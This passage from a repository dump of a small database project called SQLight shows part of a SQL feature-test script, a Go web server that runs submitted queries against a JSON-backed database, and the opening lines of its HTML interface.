18 | INSERT INTO employees (id, name, department, salary) VALUES (2, 'Jane Smith', 'Marketing', 75000);
19 | INSERT INTO employees (id, name, department, salary) VALUES (3, 'Bob Johnson', 'Finance', 90000);
20 | INSERT INTO employees (id, name, department, salary) VALUES (4, 'Alice Brown', 'Engineering', 82000);
21 | INSERT INTO employees (id, name, department, salary) VALUES (5, 'Charlie Davis', 'HR', 65000);
22 |
23 | -- Show all records
24 | SELECT * FROM employees;
25 |
26 | -- 3. Constraint testing
27 | -- PRIMARY KEY constraint (should fail)
28 | INSERT INTO employees (id, name, department, salary) VALUES (1, 'Duplicate ID', 'Research', 95000);
29 |
30 | -- UNIQUE constraint (should fail)
31 | INSERT INTO employees (id, name, department, salary) VALUES (6, 'John Doe', 'Research', 95000);
32 |
33 | -- NOT NULL constraint (should fail)
34 | INSERT INTO employees (id, name, salary) VALUES (7, 'Missing Department', 70000);
35 |
36 | -- 4. SELECT with various conditions
37 | -- Select all columns with WHERE clause
38 | SELECT * FROM employees WHERE department = 'Engineering';
39 |
40 | -- Select specific columns
41 | SELECT name, salary FROM employees;
42 |
43 | -- Select with numeric comparison
44 | SELECT * FROM employees WHERE salary > 80000;
45 |
46 | -- Select with string condition
47 | SELECT * FROM employees WHERE name = 'Jane Smith';
48 |
49 | -- Case insensitive column and table names
50 | SELECT NAME, DEPARTMENT FROM EMPLOYEES WHERE DEPARTMENT = 'Marketing';
51 |
52 | -- 5. DELETE operations
53 | -- Delete with WHERE clause
54 | DELETE FROM employees WHERE id = 5;
55 | SELECT * FROM employees;
56 |
57 | -- Delete with string condition
58 | DELETE FROM employees WHERE name = 'Bob Johnson';
59 | SELECT * FROM employees;
60 |
61 | -- Delete with multiple conditions
62 | INSERT INTO employees (id, name, department, salary) VALUES (6, 'Test User', 'Test Dept', 50000);
63 | INSERT INTO employees (id, name, department, salary) VALUES (7, 'Test User2', 'Test Dept', 55000);
64 | SELECT * FROM employees;
65 | DELETE FROM employees WHERE department = 'Test Dept' AND salary = 50000;
66 | SELECT * FROM employees;
67 |
68 | -- 6. Transaction support
69 | -- Begin a transaction
70 | BEGIN TRANSACTION;
71 |
72 | -- Make some changes
73 | INSERT INTO employees (id, name, department, salary) VALUES (8, 'Transaction Test', 'Legal', 72000);
74 | DELETE FROM employees WHERE id = 7;
75 | SELECT * FROM employees;
76 |
77 | -- Rollback the transaction
78 | ROLLBACK;
79 |
80 | -- Verify changes were rolled back
81 | SELECT * FROM employees;
82 |
83 | -- Begin another transaction
84 | BEGIN TRANSACTION;
85 |
86 | -- Make some changes
87 | INSERT INTO employees (id, name, department, salary) VALUES (8, 'Committed User', 'Legal', 72000);
88 | DELETE FROM employees WHERE id = 7;
89 | SELECT * FROM employees;
90 |
91 | -- Commit the transaction
92 | COMMIT;
93 |
94 | -- Verify changes were committed
95 | SELECT * FROM employees;
96 |
97 | -- 7. DROP TABLE
98 | -- Create a temporary table
99 | CREATE TABLE temp_table (id INT, name TEXT);
100 | INSERT INTO temp_table (id, name) VALUES (1, 'Temporary');
101 | SELECT * FROM temp_table;
102 |
103 | -- Drop the table
104 | DROP TABLE temp_table;
105 |
106 | -- 8. DELETE without WHERE clause
107 | CREATE TABLE test_delete_all (id INT, name TEXT);
108 | INSERT INTO test_delete_all (id, name) VALUES (1, 'Delete Me');
109 | INSERT INTO test_delete_all (id, name) VALUES (2, 'Delete Me Too');
110 | SELECT * FROM test_delete_all;
111 |
112 | -- Delete all records
113 | DELETE FROM test_delete_all;
114 | SELECT * FROM test_delete_all;
115 |
116 | -- Final display of main table
117 | SELECT * FROM employees;
118 |
--------------------------------------------------------------------------------
/web/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "encoding/json"
5 | "fmt"
6 | "log"
7 | "net/http"
8 | "os"
9 | "path/filepath"
10 | "sort"
11 | "sqlight/pkg/db"
12 | "sqlight/pkg/sql"
13 |
14 | "github.com/gorilla/mux"
15 | )
16 |
17 | type QueryRequest struct {
18 | Query string `json:"query"`
19 | }
20 |
21 | type QueryResponse struct {
22 | Success bool `json:"success"`
23 | Message string `json:"message,omitempty"`
24 | Records []map[string]interface{} `json:"records,omitempty"`
25 | Columns []string `json:"columns,omitempty"`
26 | }
27 |
28 | const dbFile = "database.json"
29 |
30 | func main() {
31 | // Load database
32 | database, err := db.NewDatabase(dbFile)
33 | if err != nil {
34 | log.Fatalf("Failed to load database: %v", err)
35 | }
36 |
37 | // Create router
38 | r := mux.NewRouter()
39 |
40 | // Serve static files
41 | r.PathPrefix("/static/").Handler(http.StripPrefix("/static/", http.FileServer(http.Dir("web/static"))))
42 |
43 | // Handle root path
44 | r.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
45 | http.ServeFile(w, r, "web/static/index.html")
46 | })
47 |
48 | // Handle query execution
49 | r.HandleFunc("/query", func(w http.ResponseWriter, r *http.Request) {
50 | w.Header().Set("Content-Type", "application/json")
51 |
52 | var req QueryRequest
53 | if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
54 | json.NewEncoder(w).Encode(QueryResponse{
55 | Success: false,
56 | Message: fmt.Sprintf("Invalid request: %v", err),
57 | })
58 | return
59 | }
60 |
61 | // Parse and execute the query
62 | stmt, err := sql.Parse(req.Query)
63 | if err != nil {
64 | json.NewEncoder(w).Encode(QueryResponse{
65 | Success: false,
66 | Message: fmt.Sprintf("Parse error: %v", err),
67 | })
68 | return
69 | }
70 |
71 | result, err := database.Execute(stmt)
72 | if err != nil {
73 | json.NewEncoder(w).Encode(QueryResponse{
74 | Success: false,
75 | Message: fmt.Sprintf("Execution error: %v", err),
76 | })
77 | return
78 | }
79 |
80 | // Save database after successful execution
81 | if err := database.Save(dbFile); err != nil {
82 | log.Printf("Failed to save database: %v", err)
83 | }
84 |
85 | // Convert records to map format and get sorted columns
86 | var records []map[string]interface{}
87 | var columns []string
88 |
89 | // Process records for SELECT queries
90 | if result.Records != nil && len(result.Records) > 0 {
91 | // Use columns from the result
92 | columns = result.Columns
93 | if len(columns) == 0 && len(result.Records) > 0 {
94 | // If columns not provided, get them from the first record
95 | for col := range result.Records[0].Columns {
96 | columns = append(columns, col)
97 | }
98 | sort.Strings(columns)
99 | }
100 |
101 | // Convert records to maps
102 | for _, record := range result.Records {
103 | recordMap := make(map[string]interface{})
104 | for _, col := range columns {
105 | recordMap[col] = record.Columns[col]
106 | }
107 | records = append(records, recordMap)
108 | }
109 |
110 | // Log for debugging
111 | log.Printf("Query: %s", req.Query)
112 | log.Printf("Number of records: %d", len(records))
113 | log.Printf("Columns: %v", columns)
114 | if len(records) > 0 {
115 | log.Printf("First record: %+v", records[0])
116 | }
117 | }
118 |
119 | // Send response
120 | response := QueryResponse{
121 | Success: true,
122 | Message: result.Message,
123 | Records: records,
124 | Columns: columns,
125 | }
126 |
127 | // Log response for debugging
128 | log.Printf("Response: %+v", response)
129 |
130 | if err := json.NewEncoder(w).Encode(response); err != nil {
131 | log.Printf("Failed to encode response: %v", err)
132 | http.Error(w, "Internal server error", http.StatusInternalServerError)
133 | return
134 | }
135 | })
136 |
137 | // Handle table list
138 | r.HandleFunc("/tables", func(w http.ResponseWriter, r *http.Request) {
139 | tables := database.GetTables()
140 | json.NewEncoder(w).Encode(map[string][]string{"tables": tables})
141 | })
142 |
143 | // Ensure the database file directory exists
144 | if err := os.MkdirAll(filepath.Dir(dbFile), 0755); err != nil {
145 | log.Fatal(err)
146 | }
147 |
148 | // Start server
149 | port := ":8081"
150 | log.Printf("Server starting on http://localhost%s", port)
151 | log.Fatal(http.ListenAndServe(port, r))
152 | }
153 |
--------------------------------------------------------------------------------
/web/static/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | SQLight Web Interface
7 |
8 |
9 |
10 |